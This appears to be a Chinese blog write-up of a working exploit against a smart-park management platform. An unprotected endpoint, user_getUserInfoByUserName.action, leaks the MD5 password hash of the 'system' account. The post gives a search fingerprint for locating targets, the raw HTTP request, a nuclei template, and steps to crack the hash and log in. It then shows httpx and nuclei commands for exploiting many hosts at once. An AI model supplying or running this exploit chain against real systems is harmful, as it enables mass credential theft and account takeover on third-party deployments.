
目录
没有对接口进行严格的权限管理,导致可以通过访问user_getUserInfoByUserName.action获取system用户的MD5加密后的密码
web.icon="4644f2d45601037b8423d45e13194c93"&&web.title="智慧园区综合管理平台"
GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1Host: xxxxxxxxxCookie: JSESSIONID=D99F6DAEA7EC0695266E95A1B1A529CCCache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9X-Forwarded-For: 127.0.0.1Connection: close
编写.yam文件
id: dahuainfo: name: Template Name author: wuwen severity: info description: description reference: - https:// tags: tagsrequests: - raw: - |+ GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1 Host: {{Hostname}} Cookie: JSESSIONID=D99F6DAEA7EC0695266E95A1B1A529CC Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 X-Forwarded-For: 127.0.0.1 Connection: close matchers-condition: and matchers: - type: word part: body words: - loginPass - type: status status: - 200
拼接POC访问之后就是这样

再将里面的loginpass字段的内容进行MD5解密

试了一下,很多就算用了付费的MD5解密也解不开[跟密码复杂程度有关],当然也有解得开的,然后输入账号/密码,就可以登录了

前两天听了月佬的课,知道了httpx和nuclei联动的强大,所以一起写在这里
https://github.com/projectdiscovery/httpx/releases
https://github.com/projectdiscovery/nuclei/releases
burp插件,写nuclei的.yaml文件的
https://github.com/projectdiscovery/nuclei-burp-plugin/releases
首先使用httpx探测存活的目标,我使用的是windows
httpx.exe -l url.txt -mc 200 >> survival.txt
就是探测url.txt中的存活的地址(响应码为200) 存到当前目录的survival.txt中
然后使用burp抓取数据包(攻击成功的),选择部分返回包里的内容,使用插件nuclei

保存文件,应该是.yaml后缀的

最后就是使用nuclei了
nuclei.exe -l survival.txt -t poc.yaml
如果成功的话就是这样(注意文件路径,如果不确定,就把文件拉进去用绝对路径)

最后一定要去验证一下漏洞是否真的存在,然后再提交,通过这种联动,就可以批量打漏洞了。

